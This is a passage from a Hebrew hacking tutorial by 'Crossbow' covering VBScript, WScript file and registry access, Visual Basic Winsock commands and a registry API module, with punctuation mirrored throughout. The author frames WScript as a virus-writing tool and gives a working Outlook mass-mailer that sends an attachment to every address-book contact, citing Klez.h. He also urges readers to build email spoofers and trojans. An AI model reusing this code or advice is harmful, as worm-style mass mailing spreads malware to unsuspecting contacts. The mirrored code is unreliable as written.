‫שתגיד שהסיסמא נכונה‪ ,‬ואם לא‪ ,‬אז תוצג הודעה שהסיסמא אינה נכונה‪ .‬טוב‪ ,‬פה‬
‫אני אציג את הקוד מקור המלא (והסופי) של הדף שלנו‪:‬‬

‫<‪>HTML‬‬
‫<‪>HEAD‬‬
‫<‪>TITLE> My first dynamic page </TITLE‬‬
‫<‪>HEAD/‬‬
‫<‪>"SCRIPT LANGUAGE = "VbScript‬‬
‫‪dim VarX‬‬
‫‪)":VarX = inputbox ("Plese insert the password‬‬
‫‪)(sub Button1_OnClick‬‬
‫‪)"!!!if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong‬‬
‫‪end sub‬‬
‫<‪>SCRIPT/‬‬
‫<‪>BODY‬‬
‫<‪>"FORM METHOD= "Post" ACTION = "" NAME = "Form1‬‬
‫<‪>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here‬‬
‫<‪>FORM/‬‬
‫<‪>BODY/‬‬
‫<‪>HTML/‬‬

‫טוב‪ ,‬זה בעקרון שימוש למתחילים בויבי סקריפט‪ .‬אני מקווה שלמדתם‪ ,‬ועכשיו‪,‬‬
‫תוכלו ליצור דפים דינאמיים מאוד‪ .‬הבעייה היחידה היא שויבי סקריפט לא‬
‫תוכנן לקבל סיסמאות וכאלה‪ ,‬כי לויבי סקריפט יש קוד מקור פתוח‪ .‬טוב‪ ,‬אני‬
‫מקווה שגם נהנתם‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪584‬‬
‫שימוש באינטראקטיביות ב ‪VISUAL BASIC SCRIPT‬‬
‫היום אני אסביר לכם את השימוש של קובץ הממוקם בתיקיית ‪ Windows‬שלכם‪ ,‬ולו‬
‫קוראים ‪ ...WScript.exe‬קובץ זה מאוד שימושי בשפות סקריפט המתווספות לתוך‬
‫דף ‪ ,Html‬כמו ‪ JavaScript‬או ‪ .VbScript‬קובץ זה משמש תמיד גם ליצירה של‬
‫וירוסים עם סיומות ‪( Vbs‬של ‪ )VbScript‬או סיומות ‪( Js‬של ‪ .)JavaScript‬קובץ‬
‫זה מאוד נוח ליצירת וירוסים‪ ,‬מכיוון שהוא משמש מפתח מעבר חוקי בין הדף‬
‫האינטרנטי שלנו לבין הרג'יסטרי והקבצים על המחשב שלנו‪ .‬במסגרת המאמר הזה‪,‬‬
‫אנחנו ניצור תוכנית שמשנה ערכים ברג'יסטרי‪ ,‬נכתוב אותה בשפת ‪.VbScript‬‬
‫רק שתדעו שכל וירוס ‪ Vbs‬שהגיע אליכם עם סיומת ‪ Vbs‬יכול להיות מתורגם בלי‬
‫הרבה בעייה לקובץ ‪ ...Js‬טוב‪ ,‬בואו נתחיל!!!‬

‫השימוש הראשון שלנו בקבצים ורגי'סטרי‬

‫טוב‪ ,‬למי שלא יודע‪ ,‬רג'יסטרי זה מסד נתונים ענקי של מערכות ‪ .Windows‬טוב‪,‬‬
‫הרג'יסטרי‪ ,‬שומר ערכים חשובים למערכת ולכמה קבצים הקשורים אליה‪ .‬למשתמש‬
‫יש גישה מלאה תמיד לרג'יסטרי במחשב שלו‪ ,‬בעזרת תוכניות כמו ‪ ,Regedit‬או‬
‫יצירת תוכנית לא מסובכת במיוחד שמשתמשת בכמה פקודות ‪ Api‬לשינוי ויצירת‬
‫ערכים ברג'יסטרי‪ .‬הרעיון הוא שתמיד אין הגבלה אליו‪ ,‬אין סיסמא לכניסה אל‬
‫הרג'יסטרי‪ ,‬אין חלקים נסתרים או בלי גישה‪ ,‬אין קריאה בלבד‪ ,‬הכל חופשי‪.‬‬
‫טוב‪ ,‬עכשיו ניצור כמה אובייקטים בתוך קובץ עם סיומת ‪ .Vbs‬האובייקט הראשון‬
‫שלנו יקשר אותנו עם ‪ WScript‬ועם הרג'יסטרי‪ ...‬נכתוב ככה‪:‬‬

‫‪)"Set VarX = CreateObject("WScript.Shell‬‬

‫טוב‪ ,‬הדבר השני שנעשה הוא שימוש באובייקט הנקרא ‪ .FileSystem‬אובייקט זה‬
‫ייקשר אותנו לתוך הקבצים במחשב שלנו‪ .‬אז נוסיף אותו‪ ,‬כך שהקוד שלנו הוא‪:‬‬

‫‪)"Set VarX = CreateObject("WScript.Shell‬‬


‫‪)"Set VarY = CreateObject("scripting.filesystemobject‬‬

‫טוב‪ ,‬עכשיו אנחנו יכולים לעבוד על כמה פונקציות כבר‪ .‬בואו נעבוד על שימוש‬
‫בקובץ לשם העתקה‪ .‬נגיד שאנחנו רוצים להעתיק את הקובץ הרצה של המחשבון של‬
‫‪ Windows‬שהוא‪ C:\Windows\Calc.exe :‬לתוך ‪ .C:\Calc.exe‬מה שנעשה הוא הוספת‬
‫פונקצייה הנקראת ‪ ,copyfile‬השייכת לאובייקט ‪ .FileSystemObject‬נציין את‬
‫מיקום המקור שלנו ואת מיקום היעד שלנו‪ ,‬כך שעכשיו הוא‪:‬‬

‫‪)"Set VarX = CreateObject("WScript.Shell‬‬


‫‪)"Set VarY = CreateObject("scripting.filesystemobject‬‬
‫‪"VarY.copyfile "C:\Windows\Calc.exe", "C:\Calc.exe‬‬

‫עכשיו‪ ,‬אני רוצה להזכיר שהעתקה של קובץ אינה אומרת העברה שלו‪ .‬עכשיו שני‬

‫‪585‬‬
‫הקבצים יהיו קיימים‪ ,‬גם ‪ ,C:\Windows\Calc.exe‬וגם ‪( C:\Calc.exe‬במידה‬
‫והרצנו את הקובץ)‪ .‬עכשיו‪ ,‬עוד פונקצייה שווה היא השגת תיקיית ‪...Windows‬‬
‫הפונקצייה נקראת ‪ .GetSpecialFolder‬עכשיו‪ ,‬כדי להבטיח שהגענו לתיקיית‬
‫‪( Windows‬יש מחשבים שבהם התיקייה שבהם ‪ Windows‬לא מותקן בתוך ‪)C:\Windows‬‬
‫אז נשנה את קוד המקור שלנו לדבר הבא‪:‬‬

‫‪)"Set VarX = CreateObject("WScript.Shell‬‬


‫‪)"Set VarY = CreateObject("scripting.filesystemobject‬‬
‫‪"VarY.copyfile VarY.GetSpecialFolder(0) & "\Calc.exe", "C:\Calc.exe‬‬

‫עוד דבר חשוב שהשתמשנו בו זה האופרטור &‪ ,‬שפירושו הוספה לערך ‪ ,String‬ערך‬
‫טקסטואלי‪ .‬יש עוד כמה דברים מעניינים‪ ,‬עמו למשל ‪( deletefile‬פונקצייה‬
‫הדורשת ארגומנט אחד)‪ .‬פונקצייה זו מוחקת קובץ‪ .‬אפשר למחוק את הקובץ הקודם‬
‫שהעתקנו ככה‪:‬‬

‫‪)"Set VarX = CreateObject("WScript.Shell‬‬


‫‪)"Set VarY = CreateObject("scripting.filesystemobject‬‬
‫‪"VarY.deletefile "C:\Calc.exe‬‬

‫טוב‪ ,‬אני חושב שדי כיסינו את הקבצים‪ ,‬ועכשיו כדאי שנעבור לרגי'סטרי‪ .‬טוב‪,‬‬
‫עכשיו‪ ,‬ישנן מספר פונקציות שקשורות לרג'יסטרי‪ ,‬אבל הן‪ ,‬בניגוד לדברים‬
‫הקודמים שעשינו‪ ,‬לא יהיו קשורות לאובייקט ‪ ,FileSystem‬אלא לקובץ ‪.WScript‬‬

‫הרגי'סטרי‬

‫הנה למשל דוגמא טובה לשימוש ברגי'סטרי‪ .‬אחרי הקוד הסברים כמובן‪:‬‬

‫‪)"Set X = CreateObject("WScript.Shell‬‬
‫‪Dim Y‬‬
‫‪)"Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\Version‬‬
‫‪)Msgbox (Y‬‬

‫הסברים‬

‫טוב‪ ,‬בשורה הראשונה יצרנו אובייקט ‪ .WScript‬בשורה השנייה אנחנו הצהרנו על‬
‫משתנה חדש בשם ‪ .Y‬בשורה השלישית אנחנו מגדירים את ‪ Y‬בתור ערך הקריאה מתוך‬
‫הרגי'סטרי‪ ,‬וכאן רציתי להתעקב‪ .‬יש שוני מסויים בין תוכניות שנכתבו בתוך‬
‫ויזואל בייסיק למשל‪ ,‬לבין ‪ VbScript‬ששולט על רג'יסטרי‪ .‬עכשיו‪ ,‬יש לנו כאן‬
‫שני הבדלים‪ :‬הבדל ראשון הוא שבויזואל בייסיק נכתוב ‪,HKEY_LOCAL_MACHINE‬‬
‫אבל בתוך ‪ VbScript‬עם שימוש באובייקט ‪ WScript‬אנחנו נרשום קיצור למפתח‬
‫ההתחלתי‪ .‬הנה טבלה לכל ששת הקיצורים של מפתחות התחלתיים ברג'יסטרי‪:‬‬

‫‪HKEY_CURRENT_USER = HKCU‬‬
‫‪HKEY_CLASSES_ROOT = HKCR‬‬
‫‪HKEY_LOCAL_MACHINE = HKLM‬‬
‫‪HKEY_USERS = HKU‬‬
‫‪HKEY_CURRENT_CONFIG = HKCC‬‬
‫‪HKEY_DYN_DATA = HKDD‬‬

‫ההבדל השני שיש לנו כאן מקריאות ‪ Api‬בויזואל בייסיק‪ ,‬הוא שאנחנו לא עושים‬
‫הפרדה בין התת מפתח למפתח עצמו‪ .‬בתחביר של ויזואל בייסיק היינו כותבים‪:‬‬

‫‪586‬‬
‫‪)"Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion,"Version‬‬

‫אבל בתוך תחביר ‪ WScript‬יש רק ארגומנט אחד לקריאה מהרג'יסטרי‪ .‬טוב‪ ,‬נעבור‬
‫לכתיבה לתוך הרגי'סטרי‪ .‬הכתיבה היא‪ ,‬כמה צפוי‪ .regwrite ,‬בניגוד לקריאה‪,‬‬
‫לכתיבה לרג'יסטרי יש שני ארגומנטים‪ .‬הארגומנט הראשון הוא שם המפתח יחד עם‬
‫שם התת מפתח‪ ,‬והארגומנט השני הוא ערך התת מפתח‪ .‬הנה דוגמא לסקריפט שיכתוב‬
‫לנו ערך לתוך הרגי'סטרי‪:‬‬

‫‪)"Set X = CreateObject("WScript.Shell‬‬
‫‪"!!!X.regwrite "HKLM\Software\Microsoft\Important", "Fuck Microsoft‬‬

‫שימוש מתקדם באי מייל‬

‫טוב‪ ,‬ככה ממש עושים וירוסים באופן מקצועי‪ .‬עכשיו ניצור סקריפט שתפקידו‬
‫יהיה לשלוח קובץ מסויים לכל רשימת הדואר שלנו!!! טוב‪ ,‬הקוד עצמו לא קצר‬
‫כל כך כמו הקודמים‪ ,‬אבל אחריו יהיו הסברים‪:‬‬

‫‪)"Set A = CreateObject("Outlook.Application‬‬
‫‪If A = "Outlook" Then‬‬
‫‪)"Set B = A.GetNameSpace("MAPI‬‬
‫‪For Each C In B.AddressLists‬‬
‫‪If C.AddressEntries.Count <> 0 Then‬‬
‫‪For D = 1 To C.AddressEntries.Count‬‬
‫‪)Set E = C.AddressEntries(D‬‬
‫‪)Set F = A.CreateItem(0‬‬
‫‪F.To = E.Address‬‬
‫‪"F.Subject = "The Windows Calculator‬‬
‫‪"F.Body = "Hello" & vbCrLf & "This is a calculator‬‬
‫‪"F.Attachments.Add "C:\Windows\Calc.exe‬‬
‫‪F.DeleteAfterSubmit = False‬‬
‫‪If Len (F.To) > 0 Then F.Send‬‬
‫‪Next‬‬
‫‪End If‬‬
‫‪Next‬‬

‫הסברים‬

‫טוב‪ ,‬בשורה ראשונה אנחנו יוצרים אובייקט דואר מסוג ‪ ,Outlook‬שנקרא ‪ .A‬אחר‬
‫כך אנחנו אומרים שאם יש לנו ‪ Outlook‬אז אנחנו יוצרים אובייקט ‪ ,B‬שייצג את‬
‫רשימת השמות‪ .‬אחר כך אנחנו בונים לולאת ‪ For‬שתלויה בספירה של רשימת השמות‬
‫שלנו‪ ,‬ואנחנו גם אומרים שאם רשימת השמות היא לא אפס אז תשלח הודעה חדשה‬
‫לנמען שברשימת השמות‪ ,‬עם הנושא "‪ ,"The Windows Calculator‬עם גוף ההודעה‬
‫שמצויין שורה לאחר ההצהרה על נושא ההודעה‪ ,‬שורה אחר כך יש לנו חיבור של‬
‫קובץ שהוא בעצם ‪ ,C:\Windows\Calc.exe‬אחרי זה הוא אומר שאחרי שהוא שלח את‬
‫ההודעה הוא לא ימחק את ההודעה מרשימת ההודעות שנשלחו (‪ ,)False‬לאחר מכן‬
‫אנחנו אומרים שאם שם הנמען תופס מעל אפס תווים אז ההודעה תשלח‪ .‬אחרי זה‬
‫יש לנו את סגירת הלולאה השנייה‪ ,‬סגירת התנאי ובסוף סגירת הלולאה הראשונה‪.‬‬
‫הסקריפט שעכשיו בנינו משמש המון סוגי וירוסים‪ ,‬ביניהם ‪ Klez.h‬הידוע‪ .‬טוב‪,‬‬
‫אני מקווה שתשתמשו בידע הזה רק לערכים טובים‪ ,‬זה ידע מאוד חזק ויכול לשמש‬
‫לדברים מאוד מאוד מאוד מאוד מאוד מסוכנים (הפצה ענקית של וירוסים וכאלה)‪.‬‬

‫‪587‬‬
‫בכנות עכשיו‪ ,‬אני ממליץ לכולכם להיות ‪ ,White Hat Hackers‬לדווח לאדמינים‬
‫על בעיות באתרים שלהם‪ ,‬ולעזור‪ ,‬לא להרוס‪ .‬הרבה יותר מאתגר‪ ,‬והרבה יותר‬
‫סבבה גם לדעתי‪ .‬טוב‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪VISUAL BASIC WINSOCK‬‬


‫טוב‪ ,‬אחרי שהרבה אנשים ביקשו ממני לכתוב להם על הפקודות של פקד ווינסוק‬
‫‪ Winsock‬בויזואל בייסיק‪ ,‬אני עושה טקסט עליו‪ .‬טוב‪ ,‬ווינסוק משמש להעברת‬
‫מידע אינטרנטי בסביבת ויזואל בייסיק‪ .‬הנה הפקודות הבסיסיות שלו‪:‬‬

‫‪BytesReceived‬‬

‫מחזיר את מספר הבייטים שנתקבלו בזמן החיבור הנוכחי‪.‬‬

‫‪Close‬‬

‫סוגר את החיבור‪.‬‬

‫‪Connect‬‬

‫מתחבר לכתובת מסויימת דרך פורט מסויים‪ .‬דוגמא‪ :‬כדי להתחבר לשרת דואר יוצא‬
‫של הוטמייל‪ ,‬אנחנו נכתוב‪:‬‬
‫‪Winsock1.Connect "mail.hotmail.com", 25‬‬

‫‪GetData‬‬

‫מקבל מידע מהכתובת שאליו אנחנו מחוברים‪ .‬לדוגמא‪ ,‬כדי להציג מידע שמתקבל‪,‬‬
‫נכתוב בתוכנית‪:‬‬
‫‪Dim RcptData As String‬‬
‫‪Winsock1.GetData RcptData, VbString‬‬
‫‪Msgbox RcptData‬‬

‫‪Listen‬‬

‫הופך לסוג "מקשיב"‪ ,‬ויוצר סוקט חדש‪ .‬יכול להיות רק בתקשורת ‪.Tcp \ Ip‬‬

‫‪LocalHostName‬‬

‫מחזיר את שם המחשב הלוקאלי‪.‬‬

‫‪LocalIP‬‬

‫מחזיר את מספר האייפי הלוקאלי‪.‬‬

‫‪LocalPort‬‬

‫מחזיר את הפורט שאליו מתחבר הווינסוק‪.‬‬

‫‪588‬‬
‫‪Protocol‬‬

‫מחזיר את הפרוטוקול שמשומש על ידי הפקד‪.‬‬

‫‪RemoteHost‬‬

‫מגדיר את השרת שממנו אנחנו מקבלים או שולחים מידע‪.‬‬

‫‪RemoteIp‬‬

‫מגדיר את האייפי שממנו אנחנו מקבלים או שולחים מידע‪.‬‬

‫‪RemotePort‬‬

‫מגדיר את מספר הפורט שממנו אנחנו מקבלים או שולחים מידע‪.‬‬

‫‪SendData‬‬

‫שולח מידע‪ .‬המידע מועבר דרך השרת או האייפי שקבענו‪ ,‬דרך הפורט שקבענו‪.‬‬

‫טוב‪ ,‬זה בעצם רוב הדברים שאתם צריכים לדעת‪ .‬בתור התחלה‪ ,‬נסו לבנות תוכנה‬
‫שמתרגמת אייפי לכתובת‪ ,‬ולהפך‪ .‬אחר כך נסו לבנות תוכנה שמזייפת אימיילים‪.‬‬
‫בשביל זה תצטרכו לדעת זיוף אימייל באמצעות טלנט‪ .‬אחר כך‪ ,‬נסו לבנות משהו‬
‫מסובך יותר‪ ,‬כמו סוס טוריאני למשל (לקוח ‪ +‬שרת)‪ .‬אני מקווה שתצליחו לבנות‬
‫יותר תוכניות אינטרנטיות‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪589‬‬
‫שימוש ברג'יסטרי בתוך ויזואל בייסיק‬
:‫ הנה כמה דברים שאתם צריכים לדעת‬,‫טוב‬

.‫) ידע של רמת מתחיל בויזואל בייסיק‬1


.‫ ואיך עובדים עם זה‬Api ‫) מה זה‬2
.‫) מה זה רג'יסטרי ואיך עובדים עם זה‬3

‫אם אתם לא יודעים את אחד מהדברים הבאים אתם מוזמנים לשאול את אחד מהצוות‬
‫ השימוש ברג'יסטרי‬,‫ עכשיו‬,‫ טוב‬.‫או פשוט לקרוא טקסטים אחרים מהאתר שלנו‬
‫ אז כדאי שלפני זה תחקרו את‬,‫בתוך ויזואל בייסיק הוא כלי מאוד חזק ומסוכן‬
‫ אני ארשום את הקוד של המודול שאתם צריכים‬,‫ עכשיו‬.‫הרג'יסטרי שלכם קצת‬
:)‫לכתוב בתוך ויזואל בייסיק (קונטרול ושיפט‬

Type FILETIME
lLowDateTime As Long
lHighDateTime As Long
End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA"
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As
Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData
As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long,
ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
ByRef lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As
Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long,
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long,
ByRef lpData As Long, ByVal cbData As Long) As Long

590
Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long
&Const ERROR_SUCCESS = 0
&Const ERROR_BADDB = 1009
&Const ERROR_BADKEY = 1010
&Const ERROR_CANTOPEN = 1011
&Const ERROR_CANTREAD = 1012
&Const ERROR_CANTWRITE = 1013
&Const ERROR_OUTOFMEMORY = 14
&Const ERROR_INVALID_PARAMETER = 87
&Const ERROR_ACCESS_DENIED = 5
&Const ERROR_NO_MORE_ITEMS = 259
&Const ERROR_MORE_DATA = 234
&Const REG_NONE = 0
&Const REG_SZ = 1
&Const REG_EXPAND_SZ = 2
&Const REG_BINARY = 3
&Const REG_DWORD = 4
&Const REG_DWORD_LITTLE_ENDIAN = 4
&Const REG_DWORD_BIG_ENDIAN = 5
&Const REG_LINK = 6
&Const REG_MULTI_SZ = 7
&Const REG_RESOURCE_LIST = 8
&Const REG_FULL_RESOURCE_DESCRIPTOR = 9
&Const REG_RESOURCE_REQUIREMENTS_LIST = 10
&Const KEY_QUERY_VALUE = &H1
&Const KEY_SET_VALUE = &H2
&Const KEY_CREATE_SUB_KEY = &H4
&Const KEY_ENUMERATE_SUB_KEYS = &H8
&Const KEY_NOTIFY = &H10
&Const KEY_CREATE_LINK = &H20
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE
Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE
Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ
Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long

591
Dim ByteArray() As Byte
Const DisplayErrorMsg = False
)Function SetDWORDValue(SubKey As String, Entry As String, Value As Long
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
)rtn = RegCloseKey(hKey
Else
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function GetDWORDValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
GetDWORDValue = lBuffer
Else
"GetDWORDValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetDWORDValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function SetBinaryValue(SubKey As String, Entry As String, Value As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then

592
)lDataSize = Len(Value
)ReDim ByteArray(lDataSize
For i = 1 To lDataSize
))ByteArray(i) = Asc(Mid$(Value, i, 1
Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, ByteArray(1),
)lDataSize
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
)rtn = RegCloseKey(hKey
Else
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function GetBinaryValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
lBufferSize = 1
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, lBufferSize
)sBuffer = Space(lBufferSize
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, lBufferSize
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
GetBinaryValue = sBuffer
Else
"GetBinaryValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetBinaryValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function DeleteKey(Keyname As String
)Call ParseKey(Keyname, MainKeyHandle
If MainKeyHandle Then

593
)rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegDeleteKey(hKey, Keyname
)rtn = RegCloseKey(hKey
End If
End If
End Function
Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName
"Case "HKEY_CLASSES_ROOT
GetMainKeyHandle = HKEY_CLASSES_ROOT
"Case "HKEY_CURRENT_USER
GetMainKeyHandle = HKEY_CURRENT_USER
"Case "HKEY_LOCAL_MACHINE
GetMainKeyHandle = HKEY_LOCAL_MACHINE
"Case "HKEY_USERS
GetMainKeyHandle = HKEY_USERS
"Case "HKEY_PERFORMANCE_DATA
GetMainKeyHandle = HKEY_PERFORMANCE_DATA
"Case "HKEY_CURRENT_CONFIG
GetMainKeyHandle = HKEY_CURRENT_CONFIG
"Case "HKEY_DYN_DATA
GetMainKeyHandle = HKEY_DYN_DATA
End Select
End Function
Function ErrorMsg(lErrorCode As Long) As String
Select Case lErrorCode
Case 1009, 1015
"!GetErrorMsg = "The Registry Database is corrupt
Case 2, 1010
"GetErrorMsg = "Bad Key Name
Case 1011
"GetErrorMsg = "Can't Open Key
Case 4, 1012
"GetErrorMsg = "Can't Read Key
Case 5
"GetErrorMsg = "Access to this key is denied
Case 1013
"GetErrorMsg = "Can't Write Key
Case 8, 14
"GetErrorMsg = "Out of memory
Case 87
"GetErrorMsg = "Invalid Parameter

594
Case 234
GetErrorMsg = "There is more data than the buffer has been allocated to
".hold
Case Else
)GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode
End Select
End Function
)Function GetStringValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
)sBuffer = Space(255
)lBufferSize = Len(sBuffer
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, lBufferSize
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
)sBuffer = Trim(sBuffer
)GetStringValue = Left(sBuffer, Len(sBuffer) - 1
Else
"GetStringValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetStringValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Private Sub ParseKey(Keyname As String, Keyhandle As Long
)"\" ,rtn = InStr(Keyname
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then
MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname
Exit Sub
ElseIf rtn = 0 Then
)Keyhandle = GetMainKeyHandle(Keyname
"" = Keyname
Else
))Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1
)Keyname = Right(Keyname, Len(Keyname) - rtn
End If
End Sub
)Function CreateKey(SubKey As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then

595
‫‪)rtn = RegCreateKey(MainKeyHandle, SubKey, hKey‬‬
‫‪If rtn = ERROR_SUCCESS Then‬‬
‫‪)rtn = RegCloseKey(hKey‬‬
‫‪End If‬‬
‫‪End If‬‬
‫‪End Function‬‬
‫‪)Function SetStringValue(SubKey As String, Entry As String, Value As String‬‬
‫‪)Call ParseKey(SubKey, MainKeyHandle‬‬
‫‪If MainKeyHandle Then‬‬
‫‪)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey‬‬
‫‪If rtn = ERROR_SUCCESS Then‬‬
‫‪))rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value‬‬
‫‪If Not rtn = ERROR_SUCCESS Then‬‬
‫‪If DisplayErrorMsg = True Then‬‬
‫‪)MsgBox ErrorMsg(rtn‬‬
‫‪End If‬‬
‫‪End If‬‬
‫‪)rtn = RegCloseKey(hKey‬‬
‫‪Else‬‬
‫‪If DisplayErrorMsg = True Then‬‬
‫‪)MsgBox ErrorMsg(rtn‬‬
‫‪End If‬‬
‫‪End If‬‬
‫‪End If‬‬
‫‪End Function‬‬

‫טוב‪ ,‬יש פה המון פונקציות וכאלה‪ ,‬אז אני פשוט אכתוב בקצרה על מה שיש פה‪:‬‬
‫הפונקצייה הראשונה היא בעצם שינוי הערך של מילה כפולה (ואם אתם לא יודעים‬
‫מה זה‪ ,‬אתם צריכים לעשות חזרה על יסודות המתימטיקה הבינארית)‪ ,‬אחרי זה יש‬
‫לנו השגת ערך מילה כפולה‪ .‬אחרי זה יש לנו שינוי ערך בינארי‪ ,‬ואחרי זה יש‬
‫לנו השגת ערך בינארי‪ .‬אחרי זה יש לנו מחיקת קיי (‪ ,)Key‬אחרי זה יש לנו את‬
‫השגת ההנדל הראשי (הקיי הראשי)‪ .‬אחרי זה יש לנו פונקצייה שבעצם נותנת לנו‬
‫את כל השגיאות שיכולות להתגלות בזמן שינוי או טעינת הרג'יסטרי‪ .‬אחרי זה‬
‫יש לנו את השגת ערך סטרינג (מחרוזת)‪ .‬טוב‪ ,‬אחרי זה יש פונקצייה שגורמת‬
‫לניווט בתוך הרג'יסטרי‪ .‬אחרי זה יש לנו את יצירת הקיי‪ ,‬ולבסוף‪ ,‬הפונקצייה‬
‫האחרונה‪ ,‬שינוי ערך סטרינג‪ .‬זה בעצם מה שאתם רושמים בתוך המודול‪ .‬עכשיו‪,‬‬
‫אנחנו הולכים להשתמש בכל המידע הזה והפונקציות האלו בפורם‪ .‬תיצרו פורם‪,‬‬
‫ואז תלחצו פעמיים על המשטח של הפורם‪ .‬המצב של הקידוד אמור לעלות לכם‪ ,‬עם‬
‫הפונקצייה של הפורם בטעינה (קונטרול ושיפט)‪:‬‬

‫‪)(Private Sub Form_Load‬‬

‫‪End Sub‬‬

